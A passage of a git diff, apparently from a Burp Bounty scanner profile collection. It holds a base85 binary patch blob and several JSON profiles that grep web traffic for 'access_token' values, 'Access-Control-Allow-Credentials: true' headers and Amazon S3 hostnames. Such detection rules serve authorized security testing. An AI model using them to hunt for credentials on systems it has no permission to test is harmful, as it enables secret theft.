zxeF$DhC2lxSt)5qRIjidXvxS%yMt-(kojwoxQ^hXfjht-*Vu?BAkCWdpgSKAycF-H z_yekep=yP-NJ(PBPF;r)NuZS9*Y|+AeP)0cvHrdfvm*wIo_yY1gXo&oTv9WEF>v$T zT$$)bOF2A2I`Q%a)v&`{@AVFCs-V9`(YT+8_Px}!pV3N7I(+hBj|Z*eraWlz6Jw3k zPFo4q3ESiJ|7oI`_J1>?q>4x5b&(DaSB( z*LiXgSphj$F=?Ae*fWp|)qvWgppB~xnlzn=#NPc--hJ2*@PG?UO83{fh0C5RTcR0@ zdHQFMstiO_)^OG=(Sw5&H`k#9EgGt9o>e84rK3GO8@gEEUqxt#MRO5mUj5gM@i`ru z7c}0IrP(=}m8m@FHnp)%X?Zuq*DbnHGJ|>j82iC^6j~M`hHIa+qLRBxQ%54wHxss ztjL?%>11|?iKn0Bd&V2lKc8gg5^N!Irl~nwmz{|h%Xw?_|3^|@X)8&2JwCTzBagaI zxkByPF`XKlAgyQkg;_}jNej{k4Gjj!KSINe=%sV=5=hkErE=oE*P1h|gY94QcgxpA z{j~Zg^zID*BlP|`?Y*0OtNDK39AE10UKFw<9kPiZW=*u}CExx;`V)4eUOUbBF{y$B zy=9+v_*u|xkoP6c+~o-E(s_M;(7)PVY72<?=2Z>@#_N}1r!Ei5z0MP?%9>jNv8o8Dehk2~Iw3({>f7?{hp$lKxdVDb0H zvoL+EA22Xe34yR6D(nI1Vov1+tm$bt33$VGPiQPnkzSZHSa+F%rS|-~Cpx3K2ca&S zaruU3;+#Z|dR~eAh0tdUIPOr3T!J8?ujo;X1xgtP^JGQFrM-y=wF@9+SML!$$Q32E zgT&i_DMzEYj&=V(^|%xflY%NT4!Fj0ATz{lv?Ob>xmpip9{qvW;)BAnag0T}hG8CH zcvkH;l12MWTBsc;P0l1;-P@L9Cws-WPp0`BH5aLUI%?Mq z%zbfIgfLSLErKm$26gelyQhy}SY#67_K#7xj+I!9sUHDmnuv*Eg?~l8U7S|5FoJvX z+xPi0)v8?wcOcbomT}i4RnG%Uq`#-PJ6UAM?)w&z)bSgA_XKRL(Lw1%5DFUVWhXH7 z07FlxZqsVxh@f;LfK^JiG|1R_Zj=!O<|ZdN*p|^v8r& zO2SYZ#|8D!d8NuM#R%TCeS4b5g86$n<-xT>(XUaU6?Pe{c6m`v609nJ&L=1o2#(4K zpU1iG+|IYlUJOP^ld3%|?LxwQk{=8ri*W|Z#iju^#&lxcZ|+B}@6?dGqWg0oeq}Y{ z33c{p&AO!ZJ;Dg4uXXf=u?ECY!$k&7WH3SYJ4&HXwbi6b!ASCQfj68Mlzk5nPGH1{Slzim(7`^8vz48& z?1_UpYsr5bJ`n zy*E?XRlqk1g4t)}es&+4&7r`GJyix%#tPy)5sgz0;L=Ik_d%YlKLLTib7=Z5(b&D? zUk9oSz4^vy5tFOfE>>bWaL25-m4>-u(p-vJ3o2jH(-D}lpw=$4T$$Hk3!NRKa35Hs z_KV?#U{4o0>Do0rS((|NJC+onS&6OYaa4C})x*z@u(p2saL)EZ5+YlX?%|_d#LU+ zBG8!_EFMVI7H}vGJc0odjT`zRxD06O?1ta6;5A@VhXhLuWB-bJ^saa8x6DVQG$M7C zdUF^c?tF_IHR@g8F$?$&*@MP4pcqLP$wm-D{-hJW*48Rf5)-)(=)S?3S;iY6>S4m%pSR2-p zeY@E@6PXk3fyFAj_eOgZwx`0F&h(U%&6qccvaSP_eezL|$Y!>V>za7JAt9A~hCd z>Haw5Mc+01G?0V)Q%p0XRL4JC0-cSyJ$(S3IWbXl56s_|ylL*!hPS5uosjABC^RUr zB_k&z-~&k|wvqXF-;r+|N=xDd#vc%wi6QS5oNkwf3R0Q-O3tD4q}*RQmnkv40yMGi z-8qdzg4sNU+j?MPfp`KXy*9msq4(KrjtxM2Wy6j8FoFAZ!~+BYte5t9zws`9uH~yL zZ;CecSTE+5aJzC}@-bSu-xSc&OcrYg=9eeBwFI=HzNVa0r)#LmI|lDkXEn5>Bh z7bB3f0yF2TLDkVm<~eK+J)8ZT!B?x10HisL`Su!H_w>K}j5aeuXCd#<~@1OX_BTW+(W>JsvRtkmgb1I-Z`;8HbeUA6JD@J;;H@NF2Xs7b z6|pd%V9j28t5Nfw&P~whvxo71)luYr2cP-_!zXBOcN)h!jg>rZ$X3wa;6CBqYL&+? zkV#a>ngx}rc{1vv#N3;k(n-v|I`uR;Q9PqJu~_rto(QS4)Jmt27bKWBIe2J>V4yco zg0a>v*KGP9tcs$QKGI8kg3e&rls~|4q5qZPRJrg?bd3+k` zMZ#LR&*0qaO!fKAV)m+|`*65%_L5e_>=t@7&IlTMh1UjC)46s58?V8>s5pz9Os);z z2(?M{5KdMdb@}gCb9||srIXqAgEzM?HYxXQ%JB0#T&jf^z*wyVgFpp^P)D4_mJtuH z`(Ajp&MxfLAvF%sz(dAhOabq8zfrcRCw>tRKn9^YtcGr)WOyKUHG4%(HLce&`gco( zLNR5)2mMs`8+t!c*TxzWtQ)Xac`J=40b*a9i6|7NxJcAwX5j|A-%ypWj>I)yqgciF zQG0kCV}ATo)RTe)857+7=3})yjfL%eebh~A>#fH*!HM_LdjEFOC)))4L}D|O1eXv6 zmz}pHYDL&f>q+Qz#e}|5Nr4;J4OT%l<2L_VnA<{IlBA(7emt}VDh`9XhFh&-$I1xs zd;bQ$D^7a{AGco2GR@h@d+s0ccfkdD;XSC8UO%E1bq)5cCIOD52am4yvE~YTf9R>H08gk zpybei1qBQlmM6=##oZN38C7seu(DGShYVPC1`rIbA#D5_URM;Y~UT3)sO|s2hq4VI6qR9uD|MQv@R|MNnY1D zcO~4zk0KU=GIH3|ai#7|725Rm0nyVP;*V~W6BxXO5h1mC1%isj)E z8Z50JEeE3ayXCh3+?$)n+WHWRvHAJc+Yc#8h(#RZBe7%^uk3B5Z@_*n6V1&$_W}&Y5@0Q`qjlS*U@2##he1yos}^STxwAr z6BEDe+Yj)<8@?W{6z(t$*(-;#qzQ<^ zx9H#A8q(>%Y4Gz3r^oT3pno>laK6weQkhZCu|rxv!{3a`sth4wdaj3}TZGeVW;Fk2 ztq+buQYQjvrIc!mI$vn+KByh>AR#P~p}F$+;^eUm(FOiMw#izJ;0nOK)Mtf<`H_Nr zDKstkG;hC?;JqLe1uj`d2OW1JF!Jspo$9O86_cJJG@kU+;+*G`aJ=eynX@8qXeICb za) z#9c$$BR+Fqg%b$IdMB+LaclJ63Cxq(Bl#bbVYAD%&4_s>+DtNbw>Bc_k-(&+pVXnS zk&ETuJpy5XU4pl6IGvlJ=>=!1@S6ROGN*E0M$Br6NbQR_07>Ph{#N+cc58AtD~JH~ z8}PElW_)F-h;A zO~2lXPg$#Yl=(|99&0vj0@sWw)E#r!-GknAC%KJaAm_#g<>i`zznOi7p6oT5pT&?2g7>c5MkE?HEYu90rUsb4utO|=fnifP!rLUerB*wZ9!EnM; zKC;IRx!W*PN3k8%VogT>gFZ14|CTw)tLQNf5tnUMu4&1`hI{*n%FWvy%$boP{vwub`p!!s4#QyYHKN+r4fUH?{y4JT_MW^p!X#C%Iz6)hQ!v zvqHZTW#JyuQs@}QoE_Rm?Viw*C-FQ%>dzJF_s6}L8LeivJ-2oJv#YN+`&RUk#x;qU zbIAmMC{mK&FOR5!hp!;wwkOMCJ`$D|QlHK_#5TpnsGyVicKF^sysl;(!PtTlh^JX| zpMT)DNq$&pAfX&QNnRy^*1q{P9^d=m4LZ6(VLy+=qRa>VPA>DQn(BrdyAZ#qTh#2$ zW25`Qi2FA+JAmC-kVrxNdke@um>LHdBDfv#u1oNW?i!9m=k~+P()Hrqh9q0++7@XX zFL$6fCKCjf_YE0v!XFy3RsQ7KxpAjWmzjnppqI1BK}7e{bLFUSXVJ^5U3M-PjN*mb z&2TK->52{Xi(W@ELX?8fk#TdxYoqR<<{msbnmSorCehGQ&Op~bV+k|}Y$C`2 zWXxPiUxv;itE~B3YD2_qxoF7e6?L$fK^&<9$-S=?cM{M$u3PKFsI<+xkI^fcb5|lg zUX!bObn?TEUn&baa~9c3gZyvJ28`Wf6MzWaWXXY6W7TO_7S0}#o!C+6Y?#Z4v?A3j zKh!ZEe>-MbakjZiy6+uByOm~@46&NH0iDOL+m+(=FHV-HC+pei$#VUBvQ)Ek;be*S z)g7}ke+d?U{x^}j@RPP8mq${qOvPpK`5k5Nv)(swFm7-(o;4m{fM(yi&I%+=0ndI> zb8NFfJ1!4Z0hp-z_9uVir?4GaDL z*sHpC;(D`8w!Uip{MyojFWd!?Y{Z~t<;uM1tIoQmRB#X5sxh_DBzqylH#_NN?(?%L z`%3@oc7bx-eWgZo`P|440(R*XH`Fa9>U|`n`xApWA!^9G8+L#&C={3&&FX$a|Lqct zlL~E3qRzICQr{n!ex!4ET7!D;9%aMj<~L*72_J4fOD{tghECkA*<_@jyTF{In6gwS zWmYWH^}oD_GvuW(%xDSg!sPnv8PgzEK-5kqUKS_rEIfp{N^f4{7v+f<*BMdX zlQbc1e*%Z+lfzn8f8aY`bRjFX)SnTgKI$1!)g=7_6k;Udp}UUUWiv8#ia1`#)neu+9zV;}@dQ}K&J2T~ z15s6#4^GjPu?OnOkiZ5yUP0xmU|v)mFHO3qnE8RvV5K{we{3VK?eJ~uIQy^4Fo7(K zs1v6DF!48yJLQyP<4qx#Ev)UWdB)QLXNmc#c* z`U4KlH`=K(P0B!v)#`LO?n_{}2g*L$VRct*e&9#msGjqoZXOc1`IHhp5JgR$oe^8z z@wKS*-A!%_fz!m`x~-q)0Fla{sO_x{$ozg1qSFcG!2}3}UbK8`4G7%oy=_xJLhLYc z(yQIW-+~ea)!v|qa%%h8vDLRgS!aE(uJbXZIN9v(%(ou^{OD<@t80Ulek6aDEIy5l zds1Pe`)VO)<{JsR+`?qY+d^eT`W{WtI*~xj8ERs&sN6H>NxI$N8h!cQ`1UCd&h6j* zsWM^AlZ2HLQk!5j2gZIGCF0nMJr&Z+&1`YfYGYzdGYA;F!DQTYU*Cv^0gd@ZjU4?Q z*34Pq;_YtUCPm@juM7HR!Gq$Tr1xaG7R)C=lBQe7hx?eUTXqyWbpjp}U~qt6a!c14 zSOxZFmzb54OSHF?Zx*##jqbf+1uOKy0gIzbmNvM|fsdsU?h)`+}2zc^iNCjVv{AjafIadkV`=F5@?X#7#YyAygh@uTmzHoo@cYw9@-A(46WZx zXT1?EkB2pI4pd%Gn>!s?uP}Y0MQVjmnvNyVJ^cs%RsZ-mY0L9KToi7ir>d#+f*F2^hyd)?fxtiV*{7o0NOvKRGJ>tOsyi_GHB#a zjt=dhZPPo8HP<@IqS$yjQ`ceQK1>kMGwZswE@t4laTx^^-r-y5W2y!x&;JxLJP(OL z#N$D39N}fQ%7k-;M;e!mqfW965ax@;93QvB$Tp7}a&1w*Pr=v_yMw z{GEyRGMOOw+-FghrMkzRBJdve|CPkKL7_!bRAw;!;FjGs8iRMdZKS<5MgEjd-k9sk zjaO_gQDA)#sHZeTH?K0a7itqN}k47sp=iM8S!Kmdn-#49}@DDZf@S_*Q z*)f}K3sEO>?kseKNI4kqY{&I9^U*vr%hvuZEgWwsOcTQgN^AQiifoN0CYn#!p#Smj z;rJqjXq*iGlg8<$HnykJoBcw=Mhvs9L3Op8+B`Y_5vs}?_h0-8YD({bu)(3@gTPJ3 zLdV}mNO-gbW2RYS?MAcJSiJ{TdEozx04D2F*}6gH7R5z9csq{~ot1+*ITx&l#a}-u zP3JfwJ5yF51{7z1zUTk&+lc6obJcv0>?f444Mbf*ZSY5n@c;GuKWP!p1G^NXLrY%9LQ1(`9;1!U>@>(Q2SXO$C8XQGt`E=F&Jr{|hfE)hGxLw65Y%x^Cx z{3-n-w+Ki}SpHdN1~stE6&v$8?LorR%$e>A0vXNqFcV3f^0_#slvb(UZ}elhgicis zR}m$pVG?IMa>|wNAWF*2!f3TWWoG1e=Iwv7hl>?(N$yOFX>~;lDgG#$`*d?)wQ@E0 z!!2#?TV?~y%H1EiF0z*BMelzAXZIc6vx&=HYCjr<7_i^RBbi)8w?l|rP`9sh;Qp~G zX&00fB4`^A{4|cFH z*E$~_HK{fh`22Ti(;Krk!i`gtrKSkAQ@ekt&$-?#6(+>4kH5#AGhPh{CWr6HjE=zk zxDpMB$uDKL97}$PI>mn)Iu#T+Hug3D`1AP&@BfopI%xp+G5cA|;#De#Hi?H?5w;HY z)*GZZRCmUA5^GlNoy%?{x7kNk{wxYWR1)2d&UpPFbg8jBJvRF7EG|zx2l%mvpgzJ7PFuAd{Tl!T+J!RMQ2VPWn z_$#VU`wW)v`}5tPBORP)5%PGEsd6}7SW2c6r8CH6Z3FK1l z^QFX(;BiYrZd%O=YUPIZWq*mKfA%`xzr8+p1kL(Omypug3bcSfb%C1b;I=<2n;4xe zO8AntSm(E?Le_grN{TC!x4gc1T(sRR@XxMsb3S$m)A(=(bG$F-0*JcGCTGk5{btq~ z#c2lhEje~;pS#G4B9upDUD{H{Q(d|AsPw?=3-^YIa^MXC9rPlJq($pMp(h&{t52p? z@};v&j|w)AB{i!%KI#0~Lu+^3nkgdLP6@nlnk7=u149BNKs*qvyl7}_yMIBWi*6niST5X zK}iM2*|P*eimHFFyG=F6IHxjdMbij>e1Q&V0wj?^RbmBSx5d_u0&+hyoHAgy*W^a7Qpc4Y)Jjt9|8qG zNVX&c%W;5rOWu0Qn_dTdzk%gpyoGSnO*EU>G+L0R8U=O>J ztzr{9F30wI_I}(H)8*zszDZ41n6_<|k6BUWMGyI?(xrYArzlLy=fTKW=B3vjeKJg0 zumjZaOI-ICGgj@MKVXN1*e$3lG00)eO~Yv8^!=^n4CkHIm7GFB*i?fs<|QfayR~}m zqy+!Qd{_StmD{FrDHN#|mZ3*n&wg!E*Gk5hzggVW0U759A~{X`!)ej++ewi=Akokt z03eY4?!p-tT+QwTvD$ZN99ZvlUreY~1He>}#Uvt`Pd2ZK@W~7u!F(|;c`3d81>v2A z-aEd2hjj)nofp~4#dRI0z4M2d5?mkH{~Yc;TB&|HW3#`xI5~EBdIx_!2kqywEmi0j zqaG8a>5`lja-L1nD9~FlDNDpudmKiHY+$eG-7pzfu*^$M>Cwqd&Ya5wUn1pYJPC$-SdRSjqLnf~zeDJe) zu+9^G+4W$=eX7aggyE)*#n|>3uYRbg)d?Dr9L-RQ?N;RHpCiTg`rqSTOolKMx1b@@ z6##XqFCw!EvM_aEov`gYOo2vstE}b)S}LDwmc|?lDSHAit;_csyz{Ddd??-v&7c;U zoW7qTFKI=P2nG33^8e%RXA@ule1K?jc0&yXnKB&KjH6SYPTmWm%%Id8FRW2t^R40jzt<;+mq;&_P{ zRBwN%Ij?oG8B=}y4cBa+9Qz=;>kKA}oPCz-@f2JJdZ`P*o~ayw!RyA({p*5$A{0^Mh-mv%b9G0i=*x*#(PO{(b3|XKUWQ_$ml!Fv1P^Iq`39Y3$$pJv zLD+`xDco_L`Fa)lH{(jO9|z*H9h+jVyVfGgw=o2o0*9q2?ZZET?U~I$S=3t1piU%1 zT6PV`+{fnSLL-~XetVZgX?Hy00z;^FeM-T++xZm@W zX67>LqgMiqBGa@w|Hk41N6y8ZA|E`;Y&V21h`m>Twmxdh74qB*g9dHBQ6H#$k-82$k zN1wA5NPoM~ojcwu)EohdsN+U|zL95U?$=j45$j9e-4(_hN0 z^s8AgSv@|+O#u-nlSDoE<}jW$^wJSq!8p=FE==B8E(}8sf^+K^Wbvb*p&FU)J+$Q& zkZRk{3oyF0S!ZPok}x#wEcS9bLp zccM!YE*yB1>M8A}6FfR_BPu(3zdJK5Gio*FDzhJIyR|P>K8$sqHHm}F8!KS=12qN_ z)0d2wgd3aviW(qNe6J^RV`>Dpd44=j3gyXu56)Ds#vC&#eUj>7=sj&GE1!VEnXi8~ zQR+1rk=Gu75=G#jOCp~4op+5&0Q=GGJhdT(CkAm|a0y}HmeXA3R3Z2FWMfWl8h048 za5j!O^jT43NkV^fma`M5CD#C_&fuUHQDPOW*2`u=tx!{puhEn7a*j1eFgoAD+v!*g z&PhC4;~h%ikgaQuNef{()Ew_Ws~){r+`~yU!DIKMdl21Gn&Pd1_2W+gc1QJ?)C=6# zAA_h-ePO{jnx{PVsNOD_+YXQWXOp&!Gu*2t>3aUWBwi#8h2o<+r7ALx<3H7Hoy)6s|IP);j!UncF+M)~e%=VNHNB&MSQ8WBSQqC7V$`D$&X?jXhk$ zDAaw59p+mF*``%;sI5x=0ov1Cj%hWTjBkP~5t#5=N>DBPKsaG2Jn zz?kwIuF-!>UZY>#QKS>>Q@G0zrza#m>CzbZStQRr^u0-_^Fo)H$KQbU<=-BWCw(&0 zpH5S+m3Mz+SEhVv|IbRVE3VQ8yzJrf{OH)+Wrm4l4ck^xxI1t^uqf}pfmkyyQK#XX zJoJbUlZ zmERWK-|1}gyXWgkz=7h-Wya<a+;Jw_&yFC4EZ4`!{GQ7@ z8A7AbjxPGeTLKZG%b^MsLb!XX{uJtH29hLiUz{0|&$*sbeS{mH!u+vtYZ}3|Y1Bs_ zBSM^D_P;Of65rU5a@)@3smcSNaAxAoqR{7I_j#4U52_LFBf5p4{yfH9r&4>5EB$^~ z6k62Yk2VNnFV-v*a@V5`YwFBq9t6IbmMU zR;@JaAj&NX@oMvC74!=(;NWkC6arPKlq9eEVP~v>iXwBpmaNh_!>k$&2TmNJRjBwdQ(__uUbx9*~Z$J+QIdjHiDs(={`pF`TK;@nmx1(_ze z)m7WG(?0v+y}ggeJ^UraCq#jzJEmcTjNb#R_#`y#@w1nPehdF^=9);0#Ft8Gc*7_zZVkhle`4udeso* zow9hlFPep{%F%67fSoYKA*8`zE@}BN1iHl{!Z@=@0~oxz$iUF-l=8H zHRHzZ&c7|N3K7%11rmuwsK!3Tj*so9_`Yvz~e zFt0I!Jp!q#Ns0WgupZDL%)6`h1IkO0+LpaTyQFDej&)}-nL9uDc+Onlt~q?W7xImg zf8CDSK@oNLb)_6z#a%-Ol|L)XOKq!Mj^Xyk_~;s$H{ArB!2t}AyeNj>4Rsg{XYx2& z)*pm$TD`~`sGm8G%~3h79LkTO%S08aT0-r0aI7E55by2PRT&~;PN|TyT`lie63oky z(bCvq&kaCz`G*z92y5FcJz6_q=1WPb049KM1V6h3FU>s(V*FXeWU*EeIn#@T4SUPPUAPFY z3OvB{_pah2NBp7u%n@f8z*NWHIS zu0jy$DTwgo zXm3XZ%ciov0gPK|PMo#GBWIibiiH82^xc3>*saW$jrW+!Qq9Xu`CRfd6J;KOt8pnC za5&kScL_F>%8+^1ol+2~J*~KQ;0)4W^THdt$PW+!^Q9*}E9Mh8H`+LUYCNVB*C?V1 zEutu~2-iCn=Di~sQ<1W(Pj(i(l{5BZfMG3UW)pe{Z`O)G?ARws*X2}ohohy}mL8o& z#21two@XE4sFgMDqqBU}d}3GYv7g23fCBE<;R^CjQMm)i?`ajw;{<|l=cxppXsSuG zo{$d4N}WsWBm|W0quz6xv&&~xdkVSlUV|{)EIwZDsRbxlqJG{Qhz5GtIz7I5f{6>X zd{1|^i{Kp=GDOYpY4|6p={F{LPDwn%Ot>1%m^XpCSLnTr>nkl_D%qxrkX^Lv+eDK> zkJ(WG95(J5www}5e&%8kBBWAmuoYUO4K7tK4&gF=6hGuR4xX?ig1KUM6(!!xG_9eu zj)wrAs1{u=ukq?!gT1KLDwr6JIC!-n;0Z!`E9b-d>N%oZRt{2L>p~mu8RF9!D!_$w z%uXTod%WLt27^&TAC6uY4F%KQ$E7^GAD^bXs|0XoRYk;xSA6e1c9gg5z_`>gB{W-NuC0D={Ts%tj^LrTIHGf><7mQ6&t=08 zwMP|-*ut@FUj*=mW{#)1x7lzcQ{#^7fAsjq?C1v_C}#sChqmuV>w#dEZzyneiQ5)dHZZE|HvQ2!@*6?dz6v5)zhH@iap>+uu9wv8+o%)9Pi;bn2o z$uj)QiR_SIW2-rEp!!Rhr@ zP&*c{t^Ju18^(Ar!B(_UA$?b#m)8oI#X@G8h-)zEo0G(vYnLWHE{T!^Z#t(jM*wWj zM@Om%@l^o7nC~Hs206y_H#DmotS&m4S23M)cI?1+-OD3qaKAxb0PAQ(Fn5jsC@Tn2 zlCC#9LHq&0%(2=Mm@I;Y89&Ck&4(4 z)vx!?E7_IhKrL_!UVUI@f0wdSBWI>Vy|BkOo?XT|hGNr$!Ph%ZI@pak0Xj;$yJ87H zuk*F1CEJRgBu|16@J$^gbIC>*_qr-v-B181X%U}bTh;RKxAVl|afF@MzNwVlpa{hn z>Ok#f)~Zq7m){*UcP^B96B9yk>b!qw6V%4KbN5g4S^qL$#)e8zM`N}U7Ua*1IqAEJ ziP3y!rhp%#zvp?`ZAY(Nmp^b`%Wyn4VZ`=y)YR@s*45U_A~^mlvTW6sY)2dG;>)@mZOv;mSn+W(I92wOnf|&A)l7yxeDM zh2ql;(7`+1LuZpmxtus&S?%8|(7Xyj=GN4aCx!JaT#W@mJvx#)N_91Kqm#B+gs}7c zTUf066MggmhNF9w3*+{HGMQaI-P5mKyG-vd8%wAA;`S04-bSYC~?A}@niRRSgKlU?uhbt{}a z?d>f^8mIt&0kbQqMI@FeK-Jc1KP<>cMR!Z5x+(O7U0ah+i(VoPnHDyj6n0TeLdnlD zl_KICql-x!tu3}P)EJlrkCbijfRP%b_yBLnB8ZCM&K#=HX0a7#eKRr`8b1qYdZgZs+F-^XvY$~TONK+(Xk(TC{CI~; z!CT#-;+vsQyJn1byu?~tCEBO?w;60364*q;KG7IY;~Mf=()1i45LsfjGh=5P!J!Mm zsOU>o{pehCilwB)j(WqTy1SPgL?0QdG#Z7&b=KK&zHFvAc_X;8>On zv1Wq2QLk!@x==Mc8@RL}QALUD%xm)n98t3?$QOmF%gTQGdXw-Dl|JcSuTuK9R*FBh zFE$8Y@OAj%fy(RVVj_?&xvh{A>3vjnhp@NxUaCT{V%XtZ57jruv_Cc>ly=Xo$ja~a zh#&>gR_sWA2(TbR%Y0ZaPb`o_k_Q!ndA>JhoXgbc#-Lqj)L%4#Z= zD;F`=3NWHiw4y0HOqSpOqXXCsxEP*dyqYAJJ`Df_U~NG&hqMY+E6k0Xgm%ZJgVNvu zU;Pj;(kU4%nEMs!X$~>_=}vq}kb_^?jBgDqo_;BO7R%tVAQ@%A#6{~SRFT>q8%sdD zX&c^W+S(nQ1h@-_#4lei*)HV~6P0`Zg(oG=NVNWHZub!9_huKbzEQ0pMNci$+{Y}s z7uQ??ffI26&~bsfqy*6z9IK{Sgoy}pIwcQ3I2=nHt`OQ8|KbuLX{H@pu6u%vQEIXI zyj@GJmM?rH<)HQyOd9T}%j!CoUA7crPh(`vz7B09Y`2K4Z;CEe#`ypu``WD{$5Oet zyhC{@*E|3au++JgzN~koqG+P-rbvo*SIl#sAgrFl%R1}?(3_Pl(bV2Pt_CBm z7S-%mo_vpW6!B-Sz51+VFrkan?J4Rym$<2$T`eLV9O0EU<+r4qw3UUnlC20LyIF1W zseX50WiF#&dvdP8fy|QIIt_|SMInGo!o@CL`}F21^TgBm`T0|<>@oI^S>MxDXS8Uq zZ-q*Gv_|C)CU7{`GzoqbtVw3aJ~()eBD^Vi6PK9rHbK~FL6MGrqpF@`0f(m*$BALW z?H8T|)*v31i=8u`T>w0dir*_iZK0q?;5_d{a4$P|jt$&EqpK3fMjH1Bcn$*wg)%|=uAf=mwbTyE=`XZ? zBoRl(Y!h?8$Y)Q=$jG$hZ=TPiCK^;>g?diLpEGt5Y7_WgR@=TU(IGV8(aQh>=pu8w zGJZ_56nwBljwTKZ4FWjn=!9pT^=(yzw>!4YEMJk|LaFX;1mM!tRQ*c9O!y1*>PDM{ zzv5x0=jzE34u0++A?uXDB%fJhOhc8 z)(y{WmY#bL&J$d~1m61rMOJE3M73zSkQsscGho%U^ImCU=*w+j_GKTg@QkV`3lFRHE1Awm|DQvAtKc9mLYB^Q?2}53rRV(oY<$VlZY~vaeE|Dw?cf zNj^9Yq92XiqYJvyL;Bg2hmRxvx2ek#OyBi8{c_0;9-3c9kFE!Of(5VXSY%deJ zG7b^$17jX7sfqA{&A{&!BDWjeANYn@xMZ@S2)ns z|65H$Z~=a}v%top3{Us^r8?c}ZM6L-& z(sb{>od(83%48X#q&IT?DI8vLK*PK@^4z&|7RiSpNKZjedFAvO z7>SjH{6Ugk%l7~DL@IkWM37FuTUDkcB_+*00>gVAf>%0alQF+TSC<;?VG~3J(66kZ)?3e+&0^}H&)L{`g+5H4h-7)Sr*?lK1aaE;gJDM4t6^6#A zuhZslJ|~nA4)1t;M)318SU$5)&P0&_#3`lM0wY;IvQJGLxr65AE9B}IJc zC9?tyI{-47k~X42;wYq_LWnO#k+v$C`C9J3bns7!DqjMaskBZkAj9>Ozx&ydeA!X&z^>txy^zOkm`8-JlDG%nh%kMF36tYK+V^DY5J3MF-26f zv684;l`mzuek0;p{`ty~L&0w_Goz)8llSueo~zf1BG1j8L(15Wj#&5YZ+4e3%M6F3 zZxj$4|11v&D=SIQBd2(uh6gGnyXpuwMod5TGuh*M22Rkah+qJ>? zPuk?pfx|OMmyJ+tYs>cffBzK!UzPla1^!jZzbg4RaQ-7%{2!@gQQ17^+CE|QBReMW OIf^hfEIjCV`F{YxM%W<$ literal 0 HcmV?d00001 diff --git a/src/profiles/AccessToken.bb b/src/profiles/AccessToken.bb new file mode 100755 index 0000000..b1989d7 --- /dev/null +++ b/src/profiles/AccessToken.bb @@ -0,0 +1 @@ +[{"Name":"AccessToken","Enabled":true,"Scanner":2,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["access_token"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"AccessToken","IssueSeverity":"Information","IssueConfidence":"Firm","IssueDetail":"Access Token Found","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/AllowCredentials.bb b/src/profiles/AllowCredentials.bb new file mode 100755 index 0000000..cfac312 --- /dev/null +++ b/src/profiles/AllowCredentials.bb @@ -0,0 +1 @@ +[{"Name":"Access-Control-Allow-Credentials","Enabled":true,"Scanner":2,"Author":"n00py","UrlEncode":false,"Grep":["true,Or,Access-Control-Allow-Credentials: true"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"isTime":false,"iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":1,"MaxRedir":0,"payloadPosition":0,"grepsFile":"","IssueName":"Access-Control-Allow-Credentials: True","IssueSeverity":"Information","IssueConfidence":"Certain","IssueDetail":"The application sets the Access-Control-Allow-Credentials: True HTTP header. An attempt should be made to manipulate the origin to see if origins are being reflected into the response.","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","VariationAttributes":[],"InsertionPointType":[],"Scantype":0,"pathDiscovery":false}] diff --git a/src/profiles/AmazonAWS.bb b/src/profiles/AmazonAWS.bb new file mode 100755 index 0000000..78cdef4 --- /dev/null +++ b/src/profiles/AmazonAWS.bb @@ -0,0 +1 @@ +[{"Name":"AmazonAWS","Enabled":true,"Scanner":2,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["s3..*amazonaws.com"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":2,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"AmazonAWS","IssueSeverity":"Information","IssueConfidence":"Firm","IssueDetail":"Amazon AWS found: \u003cbr\u003e\u003cgrep\u003e","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/AmazonAWSRequest.bb b/src/profiles/AmazonAWSRequest.bb new file mode 100755 index 0000000..6153883 --- /dev/null +++ b/src/profiles/AmazonAWSRequest.bb @@ -0,0 +1 @@ +[{"Name":"AmazonAWSRequest","Enabled":true,"Scanner":3,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["s3..*amazonaws.com"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":2,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"AmazonAWS","IssueSeverity":"Information","IssueConfidence":"Firm","IssueDetail":"Amazon AWS found: \u003cbr\u003e\u003cgrep\u003e","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/ApiKeyRequest.bb 